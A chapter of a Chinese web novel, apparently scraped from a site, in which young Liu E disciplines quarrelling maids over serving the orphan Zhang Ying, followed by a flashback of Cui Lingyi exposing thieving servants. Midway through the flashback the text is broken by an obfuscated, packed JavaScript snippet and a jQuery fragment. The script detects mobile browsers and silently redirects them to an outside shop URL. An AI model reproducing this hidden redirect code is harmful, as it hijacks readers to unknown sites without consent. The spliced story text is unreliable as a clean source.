日光透过横斜的枝干,映着地上一大两小的影子。
碧落牵着刘娥的手,在前面走着,张英独自一人,慢悠悠地跟在后面,拖沓的脚步声夹杂其中极不和谐。
刘娥对噪音十分敏感,没忍住转过头,见他趿拉着破破烂烂的草鞋,履过地面发出哒哒哒的声响,从容得像是在逛自家院子。
她的那些担忧好像完全多余了。
张英察觉到她的目光,一脸坦然地看向她,反倒是刘娥做贼心虚,匆匆撇开视线,白皙的脸上染了丝丝晕红。
“怎么了,有什么不妥吗?”碧落正要顺着她视线望去。
刘娥连忙转正身子,“没什么。”
再往前走,就是张英要住的松园。
刘府比不上城中其他高门,但走在其中,若没有人指引,的确容易找不着路。
看来日后不能总是待在屋里,还是需要多出来转转。
刘娥环顾了一圈四周,一面熟悉着路径,一面觉得有些奇怪。
这一路上都静悄悄的,除了几个年纪稍大些的洒扫仆妇,举着笤帚刷刷扫过青石板砖,除此之外,连丫鬟们的闲言碎语声也没有。
人都去哪了?
正疑惑着,碧萝忽然停了下来,她身量最高,远远瞧见廊下聚着一堆人。
果然,下一秒,前头传来一阵喧闹声。
听见这番动静,刘娥本意是不想趟浑水的,直到耳边隐约传来“乡下”“松园”等字眼,她循着声走了过去。
碧萝有意要拦,瞧见自家小姐微沉的脸色,涌到嘴边的话又硬生生咽了回去。
松园位置偏僻,因着里里外外仔仔细细打理过一遍,园圃内还未栽植花草,一眼望过去,布局一目了然,除了一间主屋卧房,一间书房,和两侧的耳房,便只有一个二十尺见方的庭院。
庭院正中种着一颗巨大的松树,看上去有了些年头,枝干粗壮盘遒,茂密如伞的树冠下,有两个年轻的丫鬟起了争执。
她们中间站了个小厮,苦着脸左拉右扯,一副焦头烂额的模样,四周还围了一圈,看上去像是劝架,实则拱火看热闹的婢女。
其中一个丫鬟忿忿道:“我在绣阁毕恭毕敬干了整整五年,没有功劳也有苦劳,何况我与小姐一同长大,于情于理,我也不该被撵去松园,伺候一个没爹没娘的乡下人。”
另一人阴阳怪气地回呛她:“你少装蒜。不就是觉得在松园捞不着油水了吗?也就小姐脾气好,听你哄两句甜言蜜语的好话,就心软赏你首饰和金叶子。”
“我不替自己筹谋,难道要一辈子当丫鬟不成,何况我可是听说,某些人私底下塞了不少好处给院子里管事的张嬷嬷。”
“那又如何,张嬷嬷体恤我,知晓我这些年勤勤恳恳照顾小姐,端茶倒水、洒扫屋子的活可是一个不落,不像某些人得了便宜还卖乖。”
“你!”
不过三言两语,刘娥便听明白了前因后果。不过是丫鬟们嫌伺候张英不是件好差事,相互推诿罢了。
这话在府上说说就算了,只当装聋作哑没听见,若是被人传出去,有损刘家人的形象不说,还会落得个御下不严的骂名。
何况正主还在这呢,就这么明晃晃地骂他是个孤儿,饶是刘娥见惯大场面,此刻也不由得尴尬地轻咳一声。
“都是我管教不严,让你看笑话了。”暗暗留意着他的脸色,刘娥面露歉意道:“丫鬟们闹脾气拌嘴,一时间口不择言,说的话你都别往心里去。”
张英瞥了她一眼,淡淡地“嗯”了一声。
这就没了?
刘娥不免有些惊讶,还以为他会有什么剧烈的反应,毕竟这个年岁的孩子,情绪都浮在脸上,往往看破不戳破,但他却不一样,冷静地几乎像个小大人。
没有鸠占鹊巢的惶恐,没有因自己格格不入的穿着自卑,更没有因被他人耻笑和嫌弃而感到羞愧和不安。
或者说大部分时间,他都表现得极为漠然,好像置身事外的旁观者一般。
原本准备好的措辞忽然就没了用武之地。
气氛也仿佛凝滞一般,让刘娥也有些招架不住,手指紧紧绞着衣袖,有些发白。
好在她绞尽脑汁要说些什么时,张英终于开口,打破了这诡异的氛围。
他先是偷偷觑了松树那边一眼,再抬头时眸中波光滟滟,看上去很有几分可怜巴巴的意味。
“多谢小姐体恤,可此事终究因我而起,若是传出去连累了刘府的名声…”张英欲言又止,有所顾忌地朝她眨眨眼,纤长的眼睫随之微微发颤。
刘娥先是错愕,而后心猛地咯噔了一下。
虽然在外人看来,这般楚楚的风姿有几分做作,但对刘娥而言很是受用,她的确很吃这套。
在她眼里,刚刚还一脸冷漠、拒人千里之外的少年,忽然间卸下所有防备和伪装,流露出一副十分无助的神情。如同蜷曲的刺猬,拔掉身上一根根竖起的刺,露出柔软的肚皮来。
一瞬间,怒火上涌,刘娥决定怒发冲冠为红颜。
树这头仍僵持不下,丫鬟们吵得面红耳赤,甚至气不过互相推搡了几下,连刘娥何时过来都毫无发觉。
只有被夹在中间的小厮不好拉偏架,左右为难,眼神尴尬地不知道往哪放,囫囵转了一圈,一下子就瞧见刘娥。
“大…大小姐。”小厮嗓门大,喊了一嗓子,立马震住了旁边看热闹的婢女们。
本来还吵得不可开交的年轻丫鬟,也为之一愣,顺着他的目光看去,脸上血色尽失,吵是不敢再吵了,急急忙忙跪了下去。
刘娥背影小小的一团,头上还梳着总角髻,即便站着也和跪在地上的丫鬟们一般高。
她皱眉缓慢扫视一圈,目光冷静且严厉,“母亲既然决意要收张公子为养子,往后必是好好对待视为己出。你们身为下人自然应当尽心侍奉,岂有在背后议论主子的道理。”
这番话是极有分量的,只是从刘娥口中说出来,就显得有些人微言轻了。
其中一个丫鬟便不是很怕刘娥,脸上腆着笑,想着和小姐套个近乎,打个马哈这事就过去了。
刘娥看穿她的意图,并不想轻轻揭过去。
刘府不是诗礼传家,规矩并不严苛,三位夫人为人亲和,许多鸡毛蒜皮的小事,小打小闹也就作罢了,才纵得这群丫鬟小厮愈发无法无天。
“我记得你。“刘娥走到她面前,那丫鬟脸上刚露出喜意,下一秒,笑容就凝滞在嘴角。
“上个月,你偷懒打瞌睡,误了我喝药的时辰。前几日,你擦拭我屋里的紫檀桌,又失手打翻了我最爱的琉璃花樽。”
丫鬟神色讪讪:“小姐记性真好。”
“我之前没有罚你,只是懒得追究,可如今你仍不知悔改,出言不逊以下犯上。”刘娥道,“既然你不愿留在松园,我便禀明母亲,将身契归还于你,不耽误你另寻出路。”
丫鬟大惊失色,她不知道为何,一向耳根子软的小姐,如今竟像变了个人一样。
她哆嗦着唇走上前,拽住刘娥的衣角,“小姐,您就宽恕我这一次,无论是绣阁还是松园,只要您肯收留我,我一定守好下人的本分,绝不给您添乱。”
刘娥没有说话。
周遭的丫鬟小厮们也看出来,刘娥这番是要杀鸡儆猴,面面相觑地对视了一眼,也不敢开口替她求情。
“我家小姐大发善心。既然你苦心谋个好前程,也不好拂了你的心意不是。”碧萝忍不住出言讥讽,随后给小厮使了个眼色。
等丫鬟哭着被半拉半拽地带走后,刘娥才看向地上齐刷刷跪倒一片,每个人都低着头,噤若寒蝉。
她叹了口气,“我本意并不想苛待下人,只是不立规矩不成方圆。张公子是我的哥哥,往后有谁怠慢了他,便同她一个下场。你们听明白了吗?”
“明白了。”丫鬟们异口同声地应道。
小女郎的嗓音脆而甜,像枝头刚摘下来的嫩梨,让人忍不住想要咬上一口。可说起话来、举止做事,却处处透着和年纪不符的老成。
张英终于正眼看她了。
少女如蒹葭一般青葱水嫩的脸颊,逐渐与记忆中柔软沉静的侧颜重叠。
卢骁死后,母亲沉浸在丧子之痛中,一心礼佛不理家事。有一段时间,妯娌感染了风寒,家里家外,只能让崔令宜代为照管。
卢府家大业大,库房里的器件隔三差五丢一回,又因着卢母没精力追究,底下的人愈发肆无忌惮,将偷来的珠钗首饰拿到当铺变卖,折算成现银。
那帮丫鬟婆子都以为,只要没有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17729918|208928||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
账本就无法对峙,若是主人问起,统一口径咬死不认就是了。
崔令宜从小帮着母亲治家,见多了这类腌臢手段,自然知道该如何应对。
很多事情她虽然懒得管,但不代表她不会。
某天清晨,她把所有人喊到院子里。
丫鬟婆子们不明就里,以为犯了什么大错,个个战战兢兢,还未等崔令宜放话,便已齐刷刷跪倒一大片。
崔令宜端坐在上首,接过丫鬟奉上来的茶盏,轻轻一吹,啜饮了一口,才慢悠悠道:“前夜里我发现一桩怪事。皇上曾赠予我一只点翠发簪,作为我与卢郎新婚的贺礼。如今我想戴着这支发簪,参加郡主女儿的满月礼,可命人翻遍库房找了一宿,也没找到这支珠钗的下落。”
“我又拿出帐簿细细比对,除了这支发簪,还有许多物件不翼而飞。今日兴师动众,便是要惊醒诸位,若是拿了府上的东西,最好早早地寻回来放回去,将功折罪,我可以既往不咎。”
底下的丫鬟婆子们闻言,互相传递了一遍眼色,最后还是府上管事的容婆子站出来,笑呵呵地打圆场:“卢府是百年之家,这宝库里的东西传了好几代,早就数不清了,夫人莫不是记岔了,何况下人们一时疏忽,把东西磕坏的事也时有发生,未必就是被人拿了去。”
崔令宜见她们不肯说实话,也不着急,悠闲地喝着茶,打算陪她们慢慢耗着。
待日头爬上白墙,暑气蒸腾,流金铄石,光线毒辣炽热,晒得青石板砖滚烫。
渐渐的,丫鬟婆子们忍不住了,一边擦着滚滚的汗,一边小幅度挪动着发红僵麻的膝盖,纷纷叫苦不迭:“您说的那只发簪我们的确没有印象了。”
“是啊,前阵子府上翻修,库房腾过一遍,兴许是那个时候,落在地上,被工匠们拾了去也未可知啊。”
崔令宜不欲同她们浪费口舌,吩咐贴身丫鬟把账本拿来。
容婆子瞧着那从未见过的账本,喊冤的话也硬气了几分:“夫人真的是冤枉我们了,不是我们不愿意说,而是我们真的不知情。”
“去年三月,大理寺的陈大人送了一幅前朝画师的孤品,千里江山图。今年二月,兵部尚书的沈夫人,送了翡翠手镯。”崔令宜合上账本,“当然这些都只是冰山一角,其余的想必你们比我还清楚。”
贴身丫鬟站在一旁,看着空荡荡的账本,都替崔令宜提心吊胆。
容婆子年纪大阅历丰富,显然比她想象中更沉得住气,“敢问夫人这账本从何而来,为何我助老夫人治家多年,竟从未见过。”
崔令宜笑了,“这也是父亲昨儿给我的,素日里都由他亲自保管。父亲为人正直,收了谁的礼,承了谁的情,自然都是要一五一十记下来的,日后也好还回去。”
容婆子将信将疑,却见她拿出另一桩铁证,正是那只点翠发簪。
“这支发簪属于宫内首饰归皇家内库所有,首饰内刻有内务府造办处的印记或编号,当铺掌柜一眼便可辨认,于是急忙将此物送还与我,还告诉我转手给他的人是我府上一位姓余的婆子。”
“你可知私自典当皇家财产可是重罪。”
崔令宜声音不高,自有一股不怒自威的气势,吓得底下的人屏住了呼吸。
容婆子身边的人瞬间瘫软在地,面如土色,嘴唇哆嗦得说不出一句完整的话来。
崔令宜扫视了一圈,“我还是那句话,有谁若是拿了府上的东西,最好早早地寻回来放回去,将功折罪,我可以既往不咎。若是有人检举,我也自当赏罚分明。
丫鬟婆子们自知理亏,哪还敢还嘴,一个个头低得跟鹌鹑一样,恨不得埋到地里去。
卢朔那时还在军营,听手下说起这事,眉飞色舞,满眼敬佩,夸赞夫人一介女流,手段雷厉风行、刚柔并济,三言两语便将下人们治得服服帖帖。
等他处理完公务回府,崔令宜已经惩处完一批手脚不干净的下人,以儆效尤。
正值盛暑时节,庭中榴花如火,牡丹灼灼。
崔令宜站在阶上,神情严肃,一身沉静威严的气度,竟将满院芳华都压了下去。
“今日之事,希望你们能引以为戒。古人云,百足之虫死而不僵,一个家族的衰败和覆灭,往往是从内里开始腐化。这个道理,你们听明白了吗?”